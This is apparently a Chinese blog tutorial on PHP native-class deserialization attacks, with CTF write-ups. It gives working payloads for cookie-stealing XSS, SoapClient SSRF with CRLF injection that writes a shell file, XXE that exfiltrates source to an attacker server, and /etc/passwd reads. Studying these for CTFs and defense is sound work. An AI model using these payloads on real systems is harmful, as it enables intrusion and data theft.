php原生类反序列化

牛逼文章:PHP 原生类的利用小结-先知社区

原生类指php内置的,不需要用户定义就已经存在的类,当发现php反序列化攻击中没有可以利用的魔术方法时,可以寻找原生类来构造攻击,例如:

Error原生类内置了一个 __toString() 的方法

  • Error (xxs,获取cookie,md5比较绕过,执行代码) php7

  • Exception php5,7

  • SoapClient (ssrf+创建木马文件)

  • DirectoryIterator (绕过 open_basedir)

  • SimpleXMLElement (xxe)

  • SplFileObject (读文件、SSRF、Phar反序列化)

一、Error、Exception

Error类

  • 适用于php7版本 #注意只适用于php7
  • 在开启报错的情况下
  • Error 是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的

Error类是php的一个内置类,用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个 __toString() 的方法,常用于PHP 反序列化中。如果有个POP链走到一半就走不通了,不如尝试利用这个来做一个xss,其实我看到的还是有好一些cms会选择直接使用 echo <Object> 的写法,当 PHP 对象被当作一个字符串输出或使用时候(如echo的时候)会触发__toString 方法

测试代码:

<?php
$a = unserialize($_GET['whoami']);
echo $a;
?>

(这里可以看到是一个反序列化函数,但是没有让我们进行反序列化的类啊,这就遇到了一个反序列化但没有POP链的情况,所以只能找到PHP内置类来进行反序列化)

poc:

<?php
$a = new Error("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);  
?>

//输出: O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D

Exception 内置类

  • 适用于php5、7版本
  • 开启报错的情况下
  • Exception 是所有异常的基类,该类是在PHP 5.0.0 中开始引入的

测试代码:

<?php
$a = unserialize($_GET['whoami']);
echo $a;
?>

给出POC:

<?php
$a = new Exception("<script>alert('xss')</script>");
$b = serialize($a);
echo urlencode($b);  
?>

//输出: O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A25%3A%22%3Cscript%3Ealert%281%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

实战:

一、[BJDCTF 2nd]xss之光

进入题目,首先通过git泄露拿到源码:

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

仅看到一个反序列化函数并没有给出需要反序列化的类,这就遇到了一个反序列化但没有POP链的情况,所以只能找到PHP内置类来进行反序列化。又发现有个echo,没得跑了,就是我们刚才演示的利用Error或Exception内置类进行XSS,但是查看一下题目的环境发现是PHP 5,所以我们要使用Exception类。

由于此题是xss,所以只要xss执行window.open()就能把flag带出来,所以POC如下:

<?php
$poc = new Exception("<script>window.open('http://de28dfb3-f224-48d4-b579-f1ea61189930.node3.buuoj.cn/?'+document.cookie);</script>");
echo urlencode(serialize($poc));
?>

得到payload如下:

/?yds_is_so_beautiful=O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A109%3A%22%3Cscript%3Ewindow.open%28%27http%3A%2F%2Fde28dfb3-f224-48d4-b579-f1ea61189930.node3.buuoj.cn%2F%3F%27%2Bdocument.cookie%29%3B%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D

执行后,得到flag就在 cookie 中

二、[2020 极客大挑战]Greatphp

前提知识:

<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;

输出如下:

Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

注:这里的payload是会回显的,可以替换为命令执行,见下面的题目

可见,$a$b 这两个错误对象本身是不同的,但是 __toString 方法返回的结果是相同的。注意,这里之所以需要在同一行是因为 __toString 返回的数据包含当前行号。

Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。

Error和Exception类的这一点在绕过在PHP类中的哈希比较时很有用,具体请看下面这道例题

进入题目,给出源码:

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>

可见,需要进入eval()执行代码需要先通过上面的if语句:

if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) )

这个乍看一眼在ctf的基础题目中非常常见,一般情况下只需要使用数组即可绕过。但是这里是在类里面,我们当然不能这么做。

这里的考点是md5()和sha1()可以对一个类进行hash,并且会触发这个类的 __toString 方法;且当eval()函数传入一个类对象时,也会触发这个类里的 __toString 方法。

所以我们可以使用含有 __toString 方法的PHP内置类来绕过,用的两个比较多的内置类就是 ExceptionError ,他们都有一个 __toString 方法,当类被当做字符串处理时,就会调用这个函数。

根据刚才讲的Error类和Exception类中 __toString 方法的特性,我们可以用这两个内置类进行绕过。

由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接 include "/flag" 将flag包含进来即可。由于过滤了引号,我们直接用url取反绕过即可。

POC如下:

<?php

class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }

        }
    }
}

$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
/* 
或使用[~(取反)][!%FF]的形式,
即: $str = "?><?=include[~".urldecode("%D0%99%93%9E%98")."][!.urldecode("%FF")."]?>";    

$str = "?><?=include $_GET[_]?>"; 
*/
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>

这里 $str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>"; 中为什么要在前面加上一个 ?> 呢?因为 Exception 类与 Error__toString 方法在eval()函数中输出的结果是不可能控的,即输出的报错信息中,payload前面还有一段杂乱信息“Error: ”:

Error: payload in /usercode/file.php:2
Stack trace:
#0 {main}

进入eval()函数会类似于:eval("...Error: <?php payload ?>")。所以我们要用 ?> 来闭合一下,即 eval("...Error: ?><?php payload ?>"),这样我们的payload便能顺利执行了。

生成的payload如下:

O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A19%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A18%3A%22%2Fusercode%2Ffile.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A19%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D

执行便可得到flag

flag{20290e8c-3cb1-435a-bef9-de8766ed9a18} 1 in /box/script.php:19 Stack trace: #0 {main}
不难看出,他是先会执行$str的,也就是读取flag的命令

注:取反的exp:

<?php
$a = '/flag';
$b =urlencode(~$a);   #~$a取反(反码)之后是不可见字符,所以不能直接打印出来
echo $b;
?>
#结果为%D0%99%93%9E%98

二、SoapClient类

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端,它仅限于HTTP/HTTPS协议

该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类

该类的构造函数如下:

public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。

使用 SoapClient 类进行 SSRF

知道上述两个参数的含义后,就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null,然后第二个参数的location选项设置为target_url就行了,uri可以任意填写

首先在47.xxx.xxx.72上面起个监听,执行下面代码,就会成功触发SSRF,在47.xxx.xxx.72上面收到了请求信息:

<?php
$a = new SoapClient(null,array('location'=>'http://47.xxx.xxx.72:2333/aaa', 'uri'=>'http://47.xxx.xxx.72:2333'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

而如果这里HTTP头部还存在CRLF漏洞的话,但我们则可以通过SSRF+CRLF,插入任意的HTTP头甚至是post请求体数据

<?php
$target = 'http://47.xxx.xxx.72:2333/';
$post_data = 'data=whoami';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

如图在post请求体插入了data=whoami,并且由于 Content-TypeUser-Agent 的下面,所以我们可以通过 SoapClient 来设置 User-Agent ,将原来的 Content-Type 挤下去,从而再插入一个新的 Content-Type

下面创建了一个shell.php

<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'a=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: aaaa=ssss'
);
$user_agent = 'aaa^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string;
$options = array(
    'location' => $target,
    'user_agent'=> $user_agent,
    'uri'=> "aaab"
);

$b = new SoapClient(null, $options);

$aaa = serialize($b);
$aaa = str_replace('^^', '%0d%0a', $aaa);
$aaa = str_replace('&', '%26', $aaa);
echo $aaa;

?>

三、使用 DirectoryIterator 类绕过 open_basedir

DirectoryIterator 类提供了一个用于查看文件系统目录内容的简单接口,该类是在 PHP 5 中增加的一个类。

DirectoryIterator与glob://协议结合将无视open_basedir对目录的限制,可以用来列举出指定目录下的文件。但是会发现只能列根目录和open_basedir指定的目录的文件,不能列出除前面的目录以外的目录中的文件,且不能读取文件内容

测试代码:

// test.php
<?php
$dir = $_GET['whoami'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
    echo($f->__toString().'<br>');
}
?>

# payload一句话的形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

我们输入 /?whoami=glob:///* 即可列出根目录下的文件

四、使用 SimpleXMLElement 类进行 XXE

SimpleXMLElement 这个内置类用于解析 XML 文档中的元素,,触发点:__construct()

攻击原理SimpleXMLElement 可以从 URL 加载 XML,开启 LIBXML_NOENT → 解析外部实体 → XXE

官方文档中对于SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct 的定义如下:

可以看到通过设置第三个参数 data_is_url 为 true,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。

这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE

实战:[SUCTF 2018]Homework

首先,我们在vps(47.xxx.xxx.72)上构造如下evil.xml、send.xml和send.php这三个文件

evil.xml:

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % remote SYSTEM "http://47.xxx.xxx.72/send.xml">
%remote;
%all;
%send;
]>

send.xml:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://47.xxx.xxx.72/send.php?file=%file;'>">

send.php:

<?php 
file_put_contents("result.txt", $_GET['file']) ;
?>

然后在url中构造如下:

/show.php?module=SimpleXMLElement&args[]=http://47.xxx.xxx.72/evil.xml&args[]=2&args[]=true

这样目标主机就能先加载我们vps上的evil.xml,再加载send.xml。

就能成功将网站的源码以base64编码的形式读取并带出到result.txt中

或者直接读取文件:

<?php
$xml = <<<EOF
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>
EOF;
$xml_class = new SimpleXMLElement($xml, LIBXML_NOENT);
var_dump($xml_class);
?>

结果为:
object(SimpleXMLElement)#1 (1) {
  [0]=>
  string(2393) "root:x:0:0:root:/root:/bin/bash
  ... ..."
}

补充:

<?php
// 构造一个SimpleXMLElement对象
// 参数1: 恶意XML文件的URL
// 参数2: 选项,2代表 LIBXML_NOENT,是触发XXE的关键
// 参数3: data_is_url,设置为true,表示第一个参数是URL
$sxe = new SimpleXMLElement('http://evil.com/xxe.xml', 2, true);
$a = serialize($sxe);
echo $a;
?>

五、SplFileObject 读文件

注:SplFileObject参数还可以设置为http协议,用于ssrf;设置为phar,用于phar反序列化

$a = new SplFileObject("/etc/passwd");
echo $a;    
输出内容:root:x:0:0:root:/root:/bin/bash

以上直接读文件只能读取第一行的内容,可以使用php伪协议读取base64后的内容

$a = new SplFileObject("php://filter/read=convert.base64-encode/resource=/etc/passwd");
echo $a;

记一道ctf实战中遇到的php动态类实例化题目

源码:

$exploar=new $func($args[0]);
$road=$this->Jupiter;
$exlpoar->$road($this->Saturn); //动态调用方法

payload: 利用SplFileobject类读取文件

$func="SplFileobject";
$args[0]="/etc/passwd";  //要读取的文件
$road="fread";           //文件读取的方法还可以为current,fpassthru
$this->Saturn=100;       //读取的长度

##实际上执行的为
$exploar=new SplFileobject("/etc/passwd");
$exploar->fread(100);
##可以配合php伪协议来读取
$args[0]="php://filter/read=convert.base64-encode/resource=index.php";

这题还可以用simpleXMlElement类(xxe,xml外部实体注入来解)

$func="simpleXMlElement";
$args[0]='<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY[
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>'
$road="asxml";

##实际上执行的为
$exploar=new simplexmlElement($xml_string); //解析xml时触发XXE
$exploar->asxml();    //输出包含的文件内容
posted @ 2026-06-18 16:09  Doll_Marker  阅读(15)  评论(0)    收藏  举报